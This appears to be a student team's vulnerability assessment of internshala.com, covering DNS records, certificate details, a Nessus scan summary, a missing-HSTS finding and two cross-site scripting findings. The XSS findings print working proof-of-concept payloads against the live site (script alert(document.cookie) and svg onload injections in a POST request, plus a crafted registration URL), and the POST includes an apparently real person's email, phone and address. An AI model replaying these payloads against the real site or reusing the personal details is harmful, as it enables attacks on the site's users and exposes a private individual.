

Website Testing

Team 10.1

Selected Website - Intersshala.com

Aim - Finding vulnerabilities of the selected website

DNS Records using NSLookup

DNS records for **internshala.com**

[Cloudflare](#) [Google DNS](#) [OpenDNS](#) [Authoritative](#) [Local DNS](#) ▼

The Cloudflare DNS server responded with these DNS records. Cloudflare will serve these records for as long as this period, Cloudflare will update its cache by querying one of the authoritative name servers.

A records

IPv4 address	Revalidate in
>  65.2.109.32	1m
>  13.126.201.209	1m

AAAA records

No AAAA records found.

CNAME record

No CNAME record found.

TXT records

Site ownership verification

Certificates of the site

Certificate

internshala.com		Amazon RSA 2048 M03	Amazon Root CA 1
Subject Name			
Common Name	internshala.com		
Issuer Name			
Country	US		
Organization	Amazon		
Common Name	Amazon RSA 2048 M03		
Validity			
Not Before	Mon, 25 Sep 2023 00:00:00 GMT		
Not After	Wed, 23 Oct 2024 23:59:59 GMT		
Subject Alt Names			
DNS Name	internshala.com		
DNS Name	*.internshala.com		
Public Key Info			
Algorithm	RSA		
Key Size	2048		
Exponent	65537		
Modulus	88:1C:88:ED:19:97:84:30:67:98:42:40:72:E1:A8:C2:70:66:9F:4E:3B:DC:4E:6F:D0:1C...		
Miscellaneous			
Serial Number	09:CA:76:D5:B3:96:E5:29:E0:19:30:6E:96:60:2F:EB		
Signature Algorithm	SHA-256 with RSA Encryption		
Version	3		
Download	PEM (cert) PEM (chain)		
Fingerprints			
SHA-256	91:76:FD:78:44:16:62:A3:39:F3:E5:80:C7:7A:05:35:31:8E:1F:4C:6D:6B:24:46:9B:85:...		
SHA-1	65:90:2E:09:83:7C:AD:15:52:EF:2C:81:0E:DC:AF:D1:3F:14:CB:46		
Basic Constraints			
Certificate Authority	No		

Nessus Scan

Tenable

Nessus EssentialsScansSettings

A new version of Nessus is available and ready to install. [Learn more](#) or [apply it now.](#)

sameer.chauhan2021@v...

FOLDERS

- My Scans
- All Scans
- Trash

RESOURCES

- Policies
- Plugin Rules
- Terrascan

Tenable News

Microsoft's October 2023 Patch Tuesday Addresses 1...[Read More](#)

internshala

< Back to My Scans

ConfigureAudit TrailLaunch▼ReportExport▼

Hosts1Vulnerabilities19History1

Filter▼Search Hosts1 Host

Host	Vulnerabilities ▼
13.126.201.209	136

Scan Details

Policy:

Basic Network Scan

Status:

Completed

Severity Base:

CVSS v3.0

Scanner:

Local Scanner

Start:

Today at 11:43 AM

End:

Today at 12:03 PM

Elapsed:

19 minutes

Vulnerabilities

Critical

High

Medium

Low

Info

<input type="checkbox"/>	Sev ▾	CVSS ▾	VPR ▾	Name ▴	Family ▴	Count ▾		
<input type="checkbox"/>	<div>MIXED</div>	...	...	HTTP (Multiple Issues)	Web Servers	6		
<input type="checkbox"/>	<div>INFO</div>	...	...	SSL (Multiple Issues)	General	4		
<input type="checkbox"/>	<div>INFO</div>	...	...	TLS (Multiple Issues)	General	3		
<input type="checkbox"/>	<div>INFO</div>	...	...	IETF Md5 (Multiple Issues)	General	2		
<input type="checkbox"/>	<div>INFO</div>	...	...	TLS (Multiple Issues)	Misc.	2		
<input type="checkbox"/>	<div>INFO</div>			Service Detection	Service detection	3		
<input type="checkbox"/>	<div>INFO</div>			Nessus SYN scanner	Port scanners	2		
<input type="checkbox"/>	<div>INFO</div>			nginx HTTP Server Detection	Web Servers	2		
<input type="checkbox"/>	<div>INFO</div>			Web Application Cookies Are Expired	Web Servers	2		
<input type="checkbox"/>	<div>INFO</div>			Web Server No 404 Error Code Check	Web Servers	2		
<input type="checkbox"/>	<div>INFO</div>			Additional DNS Hostnames	General	1		
<input type="checkbox"/>	<div>INFO</div>			Common Platform Enumeration (CPE)	General	1		
<input type="checkbox"/>	<div>INFO</div>			Device Type	General	1		
<input type="checkbox"/>	<div>INFO</div>			OS Identification	General	1		
<input type="checkbox"/>	<div>INFO</div>			TCP/IP Timestamps Supported	General	1		
<input type="checkbox"/>	<div>INFO</div>			TLS Version 1.2 Protocol Detection	Service detection	1		
<input type="checkbox"/>	<div>INFO</div>			Traceroute Information	General	1		

Vulnerabilities found

Vulnerability 1 - HSTS Missing from HTTPS Server

CWE-310: Cryptographic Issues.

OWASP Category: A2: Broken Authentication:

Cryptographic weaknesses can lead to vulnerabilities in authentication mechanisms, such as weak password hashing algorithms or improper storage of user credentials.

Description: The remote web server is not enforcing HSTS, as defined by RFC 6797. HSTS is an optional response header that can be configured on the server to instruct the browser to only communicate via HTTPS. The lack of HSTS allows downgrade attacks, SSL-stripping man-in-the-middle attacks, and weakens cookie-hijacking protections.

Buisness impacts: Weak or improperly implemented cryptography can lead to data breaches, exposing sensitive customer information, financial data, intellectual property, and other critical assets. Data breaches can result in significant financial losses, damage to the company's reputation, and potential legal and regulatory consequences.

Risk Information:

Risk Factor: Medium CVSS v3.0

Base Score: 6.5 CVSS v3.0

Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Vulnerability path: 13.126.201.209

Solution: Configure the remote web server to use HSTS.

Output: The remote HTTPS server does not send the HTTP "Strict-Transport-Security" header

Vulnerability 2 - Cross Site Scripting Vulnerability

CWE-79 : XSS (Cross Site Scripting)

CVSSv3 Score: 6.1 [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N]

Affected Website: payment.internshala.com

Remediation Guide:

OWASP XSS Prevention Cheat Sheet

Vulnerable URL:

<https://payment.internshala.com/trainings/process.php>

HTTP POST data:

```
POST /trainings/process.php HTTP/1.1
Host: payment.internshala.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0)
Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://trainings.internshala.com/secure/proceed/web-development/?payment_source=signup
Cookie: vtc_ftud_ad={"set_timestamp":"2017-11-05 14:59:01"}"><svg/onload="prompt('m0ns7er')">;
_ga=GA1.2.436946354.1509874141%2525252525252522%252525252525253E%252525252525253Csvg%252525252525252Fonload%252525252525253D%2525252525252522prompt%2525252525252528'm0ns7er'%2525252525252529%2525252525252522%252525252525253E;
_gid=GA1.2.1981152820.1509874141
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 620
channel=0&account_id=12726bg0c&address=Scholiverse Educare Private Limited, A-1111, Unitech Arcadia, South City 2&amount=1499&city=Gurgaon&country=IND&description=Web Development&email=akashlabade3@gmail.com&mode=LIVE&name=Akash"co"><script>alert(document.cookie)</script>xglnLabade&page_id=8538&phone=9665868685&postal_code=122018&reference_no=VTCT001U170330D010618&return_url=https://payment.internshala.com/trainings/success.php?redirect_url=https://trainings.internshala.com/secure/success/web-development&DR={DR}&state=Haryana&secure_hash=614702dceb87a0bafdba0bf4997332e2
```

Cookies:

```
vtc_ftud_ad={"set_timestamp":"2017-11-05 14:59:01"}"><svg/onload="prompt('m0ns7er')">;
_ga=GA1.2.436946354.1509874141%2525252525252522%252525252525253E%252525252525253Csvg%252525252525252Fonload%252525252525253D%2525252525252522prompt%2525252525252528'm0ns7er'%2525252525252529%2525252525252522%252525252525253E;
_gid=GA1.2.1981152820.1509874141
```

Vulnerability 3 - Cross Site Scripting Vulnerability

CWE-79 : XSS (Cross Site Scripting)

CVSSv3 Score: 6.1 [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N]

Description: Cross-Site Scripting (XSS) is a type of security vulnerability commonly found in web applications. It occurs when an application includes untrusted data in a web page sent to a client (typically a web browser) without proper validation or escaping.

Remediation Guide:

OWASP XSS Prevention Cheat Sheet

Vulnerable URL:

```
https://internshala.com/registration/student?utm_source=facebook'" /Style=position:fixed;top:0;left:0;font-size:999px;
/Onmouseenter=confirm`OPENBUGBOUNTY`
//&utm_medium=facebook_tc66_6&utm_campaign=stm_2015_08&h=RAQGzxzk2&enc=AZMErfM35Cnh_1KSBPwMwmHcZGdwL426tK13vku6lfmr9tVH5P9XU23RTizEgw0bw3Wqk5X4Si-eDNHgtYFHk8otW9tIs'
```